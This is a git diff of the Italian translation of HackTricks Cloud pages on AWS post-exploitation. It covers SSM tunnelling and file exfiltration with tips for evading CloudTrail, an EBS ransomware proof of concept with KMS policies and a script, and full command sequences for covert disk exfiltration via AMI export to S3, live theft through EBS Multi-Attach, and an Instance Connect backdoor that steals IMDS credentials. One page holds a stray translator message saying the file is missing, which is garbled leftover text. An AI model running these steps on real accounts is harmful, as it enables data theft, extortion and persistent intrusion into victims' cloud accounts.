 aws ssm start-session --target "$INSTANCE_ID"
 ```
-3. Ottieni le credenziali temporanee Bastion EC2 AWS con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)  
-4. Trasferisci le credenziali al tuo computer nel file `$HOME/.aws/credentials` come profilo `[bastion-ec2]`  
-5. Accedi a EKS come Bastion EC2:
+3. Ottieni le credenziali temporanee AWS del Bastion EC2 con lo script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
+4. Trasferisci le credenziali sulla tua macchina nel file `$HOME/.aws/credentials` come profilo `[bastion-ec2]`
+5. Accedi a EKS come il Bastion EC2:
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
 ```
-6. Aggiorna il campo `server` nel file `$HOME/.kube/config` per puntare a `https://localhost`  
+6. Aggiorna il campo `server` nel file `$HOME/.kube/config` in modo che punti a `https://localhost`
 7. Crea un tunnel SSM come segue:
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
-8. Il traffico dallo strumento `kubectl` è ora inoltrato attraverso il tunnel SSM tramite il Bastion EC2 e puoi accedere al cluster EKS privato dal tuo computer eseguendo:
+8. Il traffico dello strumento `kubectl` viene ora inoltrato attraverso il tunnel SSM tramite il Bastion EC2 e puoi accedere al cluster EKS privato dalla tua macchina eseguendo:
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-Nota che le connessioni SSL falliranno a meno che tu non imposti il flag `--insecure-skip-tls-verify` (o il suo equivalente negli strumenti di audit K8s). Poiché il traffico è tunnelato attraverso il tunnel sicuro AWS SSM, sei al sicuro da qualsiasi tipo di attacchi MitM.
+Nota che le connessioni SSL falliranno a meno che non imposti il flag `--insecure-skip-tls-verify ` (o il suo equivalente negli strumenti di audit K8s). Poiché il traffico è tunnelizzato attraverso il tunnel sicuro di AWS SSM, sei protetto da qualsiasi tipo di attacco MitM.
 
-Infine, questa tecnica non è specifica per attaccare cluster EKS privati. Puoi impostare domini e porte arbitrari per pivotare verso qualsiasi altro servizio AWS o un'applicazione personalizzata.
+Infine, questa tecnica non è specifica per l'attacco ai private EKS clusters. Puoi impostare domini e porte arbitrari per pivotare verso qualsiasi altro AWS service o un'applicazione custom.
 
 ---
 
-#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
+#### Inoltro porta rapido Locale ↔️ Remoto (AWS-StartPortForwardingSession)
 
-Se hai bisogno di inoltrare **una sola porta TCP dall'istanza EC2 al tuo host locale**, puoi utilizzare il documento SSM `AWS-StartPortForwardingSession` (nessun parametro host remoto richiesto):
+Se hai bisogno solo di inoltrare **una porta TCP dall'istanza EC2 al tuo host locale** puoi usare il documento SSM `AWS-StartPortForwardingSession` (nessun parametro remote host richiesto):
 ```bash
 aws ssm start-session --target i-0123456789abcdef0 \
 --document-name AWS-StartPortForwardingSession \
 --parameters "portNumber"="8000","localPortNumber"="8000" \
 --region <REGION>
 ```
-Il comando stabilisce un tunnel bidirezionale tra la tua workstation (`localPortNumber`) e la porta selezionata (`portNumber`) sull'istanza **senza aprire alcuna regola di Security-Group in entrata**.
+Il comando stabilisce un tunnel bidirezionale tra la tua postazione di lavoro (`localPortNumber`) e la porta selezionata (`portNumber`) sull'istanza **senza aprire alcuna regola inbound del Security-Group**.
 
 Casi d'uso comuni:
 
-* **Esfiltrazione di file**
-1. Sull'istanza avvia un rapido server HTTP che punta alla directory che desideri esfiltrare:
+* **File exfiltration**
+1. Sull'istanza, avvia un rapido server HTTP che punti alla directory che vuoi esfiltrare:
 
 ```bash
 python3 -m http.server 8000
 ```
 
-2. Dalla tua workstation recupera i file attraverso il tunnel SSM:
+2. Dalla tua postazione di lavoro recupera i file attraverso il tunnel SSM:
 
 ```bash
 curl http://localhost:8000/loot.txt -o loot.txt
 ```
 
-* **Accesso a applicazioni web interne (ad es. Nessus)**
+* **Accesso ad applicazioni web interne (es. Nessus)**
 ```bash
 # Forward remote Nessus port 8834 to local 8835
 aws ssm start-session --target i-0123456789abcdef0 \
@@ -159,7 +224,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
 --parameters "portNumber"="8834","localPortNumber"="8835"
 # Browse to http://localhost:8835
 ```
-Suggerimento: Comprimi e cripta le prove prima di esfiltrarle in modo che CloudTrail non registri il contenuto in chiaro:
+Suggerimento: comprimi e cifra le prove prima di esfiltrarle in modo che CloudTrail non registri il contenuto in chiaro:
 ```bash
 # On the instance
 7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
@@ -168,19 +233,19 @@ Suggerimento: Comprimi e cripta le prove prima di esfiltrarle in modo che CloudT
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
-### Cerca informazioni sensibili in AMI pubbliche e private
+### Cerca informazioni sensibili in AMIs pubbliche e private
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMI) pubbliche o private**. Automatizza il processo di avvio di istanze da AMI target, montando i loro volumi e scansionando alla ricerca di potenziali segreti o dati sensibili.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMIs) pubbliche o private**. Automatizza il processo di avvio di istanze dalle AMIs target, il montaggio dei loro volumi e la scansione alla ricerca di potenziali secrets o dati sensibili.
 
-### Condividi Snapshot EBS
+### Condividi EBS Snapshot
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
 ### EBS Ransomware PoC
 
-Una prova di concetto simile alla dimostrazione di Ransomware mostrata nelle note di post-exploitation di S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service, considerando quanto sia facile usarlo per crittografare vari servizi AWS.
+Una prova di concetto simile alla dimostrazione di Ransomware presente nelle note di post-exploitation S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service, vista la facilità con cui può essere usato per cifrare vari servizi AWS.
 
-Per prima cosa, da un account AWS 'attaccante', crea una chiave gestita dal cliente in KMS. Per questo esempio, lasceremo che AWS gestisca i dati della chiave per me, ma in uno scenario realistico un attore malintenzionato manterrebbe i dati della chiave al di fuori del controllo di AWS. Cambia la policy della chiave per consentire a qualsiasi Principale dell'account AWS di utilizzare la chiave. Per questa policy della chiave, il nome dell'account era 'AttackSim' e la regola della policy che consente l'accesso completo si chiama 'Outside Encryption'
+Prima, da un account AWS 'attacker', crea una customer managed key in KMS. Per questo esempio lasceremo che AWS gestisca i dati della chiave per noi, ma in uno scenario realistico un malicious actor manterrebbe i dati della chiave al di fuori del controllo di AWS. Modifica la key policy per consentire a qualsiasi AWS account Principal di usare la chiave. Per questa key policy, il nome dell'account era 'AttackSim' e la regola della policy che permette l'accesso totale si chiama 'Outside Encryption'
 ```
 {
 "Version": "2012-10-17",
@@ -272,7 +337,7 @@ Per prima cosa, da un account AWS 'attaccante', crea una chiave gestita dal clie
 ]
 }
 ```
-La regola della policy della chiave deve avere i seguenti permessi abilitati per consentire l'uso per crittografare un volume EBS:
+La regola della key policy deve avere abilitato quanto segue per permettere l'uso della stessa per cifrare un volume EBS:
 
 - `kms:CreateGrant`
 - `kms:Decrypt`
@@ -280,21 +345,21 @@ La regola della policy della chiave deve avere i seguenti permessi abilitati per
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-Ora con la chiave pubblicamente accessibile da utilizzare. Possiamo usare un account 'vittima' che ha alcune istanze EC2 attive con volumi EBS non crittografati allegati. I volumi EBS di questo account 'vittima' sono ciò che stiamo mirando a crittografare, questo attacco è sotto l'assunto di una violazione di un account AWS ad alta privilegio.
+Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-Simile all'esempio di ransomware S3. Questo attacco creerà copie dei volumi EBS allegati utilizzando snapshot, utilizzerà la chiave pubblicamente disponibile dall'account 'attaccante' per crittografare i nuovi volumi EBS, quindi staccherà i volumi EBS originali dalle istanze EC2 e li eliminerà, e infine eliminerà gli snapshot utilizzati per creare i nuovi volumi EBS crittografati. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+Simile all'esempio di ransomware su S3. Questo attacco creerà copie dei volumi EBS allegati usando snapshot, userà la key pubblicamente disponibile dall'account 'attacker' per cifrare i nuovi volumi EBS, quindi scollegherà i volumi EBS originali dalle istanze EC2 e li eliminerà, e infine cancellerà gli snapshot usati per creare i nuovi volumi EBS cifrati. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
-Questo porta a lasciare disponibili solo volumi EBS crittografati nell'account.
+Il risultato è che nell'account rimarranno disponibili solo volumi EBS cifrati.
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
-Vale anche la pena notare che lo script ha fermato le istanze EC2 per staccare ed eliminare i volumi EBS originali. I volumi originali non crittografati sono ora scomparsi.
+Vale inoltre la pena notare che lo script ha arrestato le istanze EC2 per scollegare e eliminare i volumi EBS originali. I volumi originali non cifrati sono ora spariti.
 
 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
 
-Successivamente, torna alla policy della chiave nell'account 'attaccante' e rimuovi la regola della policy 'Outside Encryption' dalla policy della chiave.
+Successivamente, torna alla key policy nell'account 'attacker' e rimuovi la regola di policy 'Outside Encryption' dalla key policy.
 ```json
 {
 "Version": "2012-10-17",
@@ -365,15 +430,15 @@ Successivamente, torna alla policy della chiave nell'account 'attaccante' e rimu
 ]
 }
 ```
-Aspetta un momento affinché la nuova policy della chiave si propaghi. Poi torna all'account 'vittima' e prova ad allegare uno dei nuovi volumi EBS crittografati. Scoprirai che puoi allegare il volume.
+Attendi un momento che la nuova key policy impostata si propaghi. Poi torna all'account 'victim' e prova ad allegare uno dei nuovi volumi EBS criptati. Vedrai che puoi allegare il volume.
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-Ma quando provi effettivamente a riavviare l'istanza EC2 con il volume EBS crittografato, fallirà e passerà dallo stato 'in attesa' allo stato 'fermo' per sempre, poiché il volume EBS allegato non può essere decrittografato utilizzando la chiave, poiché la policy della chiave non lo consente più.
+Ma quando tenti effettivamente di avviare di nuovo l'istanza EC2 con il volume EBS criptato, fallirà e passerà dallo stato 'pending' a quello 'stopped' all'infinito, poiché il volume EBS allegato non può essere decriptato usando la key dato che la key policy non lo permette più.
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-Questo è lo script python utilizzato. Prende le credenziali AWS per un account 'vittima' e un valore ARN AWS disponibile pubblicamente per la chiave da utilizzare per la crittografia. Lo script creerà copie crittografate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS mirato, poi fermerà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine eliminerà tutti gli snapshot utilizzati durante il processo. Questo lascerà solo volumi EBS crittografati nell'account 'vittima' mirato. UTILIZZA QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DESTRUTTIVO E CANCELLERÀ TUTTI I VOLUMI EBS ORIGINALI. Puoi recuperarli utilizzando la chiave KMS utilizzata e ripristinarli al loro stato originale tramite snapshot, ma voglio solo farti sapere che alla fine della giornata si tratta di una PoC di ransomware.
+Questo è lo script python utilizzato. Prende le AWS creds per un account 'victim' e un valore ARN AWS pubblicamente disponibile per la key da usare per la cifratura. Lo script creerà copie criptate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS bersaglio, poi arresterà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine cancellerà tutti gli snapshots utilizzati durante il processo. Questo lascerà solo volumi EBS criptati nell'account 'victim' bersaglio. USARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DISTRUTTIVO E CANCELLA TUTTI I VOLUMI EBS ORIGINALI. Puoi recuperarli usando la KMS key utilizzata e ripristinarli al loro stato originale tramite snapshot, ma volevo farti sapere che, alla fine, si tratta di un ransomware PoC.
 ```
 import boto3
 import argparse
@@ -492,6 +557,6 @@ main()
 ```
 ## Riferimenti
 
-- [Pentest Partners – Come trasferire file in AWS utilizzando SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
+- [Pentest Partners – Come trasferire file in AWS usando SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md
new file mode 100644
index 000000000..8ee091fb2
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md
@@ -0,0 +1,137 @@
+# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Sommario
+Abuse EC2 AMI export-to-S3 per esfiltrare l'intero disco di un'istanza EC2 come singola immagine raw memorizzata in S3, quindi scaricarla fuori banda. Questo evita la condivisione di snapshot e produce un oggetto per AMI.
+
+## Requisiti
+- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` sull'istanza/AMI target
+- S3 (stessa Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
+- KMS decrypt sulla chiave che protegge gli snapshot AMI (se è abilitata la cifratura predefinita di EBS)
+- Policy del bucket S3 che si fida del principal di servizio `vmie.amazonaws.com` (vedi sotto)
+
+## Impatto
+- Acquisizione completa offline del disco root dell'istanza in S3 senza condividere snapshot o copiare tra account.
+- Permette analisi forense furtiva di credenziali, configurazione e contenuti del filesystem dall'immagine raw esportata.
+
+## Come esfiltrare via AMI Store-to-S3
+
+- Note:
+- Il bucket S3 deve essere nella stessa Region dell'AMI.
+- In `us-east-1`, `create-bucket` non deve includere `--create-bucket-configuration`.
+- `--no-reboot` crea un'immagine crash-consistente senza arrestare l'istanza (più furtivo ma meno consistente).
+
+<details>
+<summary>Step-by-step commands</summary>
+```bash
+# Vars
+REGION=us-east-1
+INSTANCE_ID=<i-victim>
+BUCKET=exfil-ami-$(date +%s)-$RANDOM
+
+# 1) Create S3 bucket (same Region)
+if [ "$REGION" = "us-east-1" ]; then
+aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
+else
+aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
+fi
+
+# 2) (Recommended) Bucket policy to allow VMIE service to write the object
+ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+cat > /tmp/bucket-policy.json <<POL
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVMIEPut",
+"Effect": "Allow",
+"Principal": {"Service": "vmie.amazonaws.com"},
+"Action": [
+"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
+"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
+],
+"Resource": [
+"arn:aws:s3:::$BUCKET",
+"arn:aws:s3:::$BUCKET/*"
+],
+"Condition": {
+"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
+"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
+}
+}
+]
+}
+POL
+aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
+
+# 3) Create an AMI of the victim (stealthy: do not reboot)
+AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
+
+# 4) Wait until the AMI is available
+aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
+
+# 5) Store the AMI to S3 as a single object (raw disk image)
+OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
+
+echo "Object in S3: s3://$BUCKET/$OBJKEY"
+
+# 6) Poll the task until it completes
+until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
+aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text
+sleep 10
+done
+
+# 7) Prove access to the exported image (download first 1MiB)
+aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
+aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
+ls -l /tmp/ami.bin
+
+# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
+aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
+for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
+--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
+aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
+done
+aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
+aws s3 rb "s3://$BUCKET" --force --region "$REGION"
+```
+</details>
+
+## Esempio di evidenza
+
+- `describe-store-image-tasks` transizioni:
+```text
+InProgress
+Completed
+```
+- Metadati oggetto S3 (esempio):
+```json
+{
+"AcceptRanges": "bytes",
+"LastModified": "2025-10-08T01:31:46+00:00",
+"ContentLength": 399768709,
+"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
+"ContentType": "application/octet-stream",
+"ServerSideEncryption": "AES256",
+"Metadata": {
+"ami-name": "exfil-1759887010",
+"ami-owner-account": "<account-id>",
+"ami-store-date": "2025-10-08T01:31:45Z"
+}
+}
+```
+- Il download parziale dimostra l'accesso all'oggetto:
+```bash
+ls -l /tmp/ami.bin
+# -rw-r--r--  1 user  wheel  1048576 Oct  8 03:32 /tmp/ami.bin
+```
+## Permessi IAM richiesti
+
+- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
+- S3 (sul bucket di esportazione): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
+- KMS: Se gli snapshot AMI sono encrypted, consentire decrypt per la EBS KMS key usata dagli snapshot
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md
new file mode 100644
index 000000000..2189c4bc7
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md
@@ -0,0 +1,78 @@
+# AWS - Live Data Theft via EBS Multi-Attach
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Sommario
+Abusa di EBS Multi-Attach per leggere da un volume dati live io1/io2 allegando lo stesso volume a un'istanza controllata dall'attaccante nella stessa Zona di disponibilità (AZ). Montare il volume condiviso in sola lettura consente l'accesso immediato ai file in uso senza creare snapshots.
+
+## Requisiti
+- Volume di destinazione: io1 o io2 creato con `--multi-attach-enabled` nella stessa AZ dell'istanza dell'attaccante.
+- Permessi: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` sul volume/istanze target.
+- Infrastruttura: tipi di istanza basati su Nitro che supportano Multi-Attach (famiglie C5/M5/R5, ecc.).
+
+## Note
+- Montare in sola lettura con `-o ro,noload` per ridurre il rischio di corruzione e evitare il replay del journal.
+- Sulle istanze Nitro il dispositivo EBS NVMe espone un percorso stabile `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` (helper sotto).
+
+## Prepara un volume io2 Multi-Attach e collegalo all'istanza vittima
+
+Esempio (crea in `us-east-1a` e collegalo all'istanza vittima):
+```bash
+AZ=us-east-1a
+# Create io2 volume with Multi-Attach enabled
+VOL_ID=$(aws ec2 create-volume \
+--size 10 \
+--volume-type io2 \
+--iops 1000 \
+--availability-zone $AZ \
+--multi-attach-enabled \
+--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
+--query 'VolumeId' --output text)
+
+# Attach to victim instance
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
+```
+Sulla vittima, format/mount il nuovo volume e scrivi dati sensibili (illustrativo):
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkfs.ext4 -F "$DEV"
+sudo mkdir -p /mnt/shared
+sudo mount "$DEV" /mnt/shared
+echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
+sudo sync
+```
+## Collegare lo stesso volume all'attacker instance
+```bash
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
+```
+## Montare in read-only sull'attacker e leggere i dati
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkdir -p /mnt/steal
+sudo mount -o ro,noload "$DEV" /mnt/steal
+sudo cat /mnt/steal/secret.txt
+```
+Lo stesso `VOL_ID` mostra più `Attachments` (victim and attacker) e l'attacker può leggere i file scritti dalla victim senza creare alcuno snapshot.
+```bash
+aws ec2 describe-volumes --volume-ids $VOL_ID \
+--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
+```
+<details>
+<summary>Guida: trovare il percorso del dispositivo NVMe tramite Volume ID</summary>
+
+Sulle istanze Nitro, usa il percorso by-id stabile che incorpora l'ID del volume (rimuovi il trattino dopo `vol`):
+</details>
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
+# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
+```
+</details>
+
+## Impatto
+- Accesso immediato in lettura ai dati live sul volume EBS di destinazione senza generare snapshots.
+- Se montato in read-write, l'attaccante può manomettere il filesystem della vittima (rischio di corruzione).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
new file mode 100644
index 000000000..3eca1d2a3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
@@ -0,0 +1,113 @@
+# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abuse EC2 Instance Connect Endpoint (EIC Endpoint) to gain inbound SSH access to private EC2 instances (no public IP/bastion) by:
+- Creare un EIC Endpoint all'interno della subnet target
+- Consentire SSH in ingresso sul target SG dallo SG dell'EIC Endpoint
+- Iniettare una chiave pubblica SSH di breve durata (valida ~60 secondi) con `ec2-instance-connect:SendSSHPublicKey`
+- Aprire un tunnel EIC e pivotare verso l'istanza per rubare le credenziali dell'instance profile da IMDS
+
+Impatto: percorso di accesso remoto furtivo verso istanze EC2 private che bypassa bastions e le restrizioni sugli IP pubblici. L'attaccante può assumere l'instance profile e operare nell'account.
+
+## Requisiti
+- Permessi per:
+- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
+- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
+- Istanza Linux target con server SSH e EC2 Instance Connect abilitato (Amazon Linux 2 o Ubuntu 20.04+). Utenti di default: `ec2-user` (AL2) o `ubuntu` (Ubuntu).
+
+## Variabili
+```bash
+export REGION=us-east-1
+export INSTANCE_ID=<i-xxxxxxxxxxxx>
+export SUBNET_ID=<subnet-xxxxxxxx>
+export VPC_ID=<vpc-xxxxxxxx>
+export TARGET_SG_ID=<sg-of-target-instance>
+export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
+# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
+export OS_USER=ec2-user
+```
+## Crea endpoint EIC
+```bash
+aws ec2 create-instance-connect-endpoint \
+--subnet-id "$SUBNET_ID" \
+--security-group-ids "$ENDPOINT_SG_ID" \
+--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
+--region "$REGION" \
+--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
+
+# Wait until ready
+while true; do
+aws ec2 describe-instance-connect-endpoints \
+--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
+--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
+grep -q 'create-complete' EIC_STATE && break
+sleep 5
+done
+```
+## Consentire il traffico dall'EIC Endpoint all'istanza target
+```bash
+aws ec2 authorize-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+```
+## Iniettare una SSH key effimera e aprire un tunnel
+```bash
+# Generate throwaway key
+ssh-keygen -t ed25519 -f /tmp/eic -N ''
+
+# Send short-lived SSH pubkey (valid ~60s)
+aws ec2-instance-connect send-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "$OS_USER" \
+--ssh-public-key file:///tmp/eic.pub \
+--region "$REGION"
+
+# Open a local tunnel to instance:22 via the EIC Endpoint
+aws ec2-instance-connect open-tunnel \
+--instance-id "$INSTANCE_ID" \
+--instance-connect-endpoint-id "$(cat EIC_ID)" \
+--local-port 2222 --remote-port 22 --region "$REGION" &
+TUN_PID=$!; sleep 2
+
+# SSH via the tunnel (within the 60s window)
+ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
+```
+## Prova di Post-exploitation (steal instance profile credentials)
+```bash
+# From the shell inside the instance
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
+```
+I don’t have the contents of that file. Please paste the Markdown/HTML text from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md that you want translated, and I’ll return the Italian translation preserving all tags, code, links and paths exactly as requested.
+```json
+{
+"Code": "Success",
+"AccessKeyId": "ASIA...",
+"SecretAccessKey": "w0G...",
+"Token": "IQoJ...",
+"Expiration": "2025-10-08T04:09:52Z"
+}
+```
+Usa le creds rubate localmente per verificare l'identità:
+```bash
+export AWS_ACCESS_KEY_ID=<AccessKeyId>
+export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
+export AWS_SESSION_TOKEN=<Token>
+aws sts get-caller-identity --region "$REGION"
+# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
+```
+## Pulizia
+```bash
+# Revoke SG ingress on the target
+aws ec2 revoke-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+
+# Delete EIC Endpoint
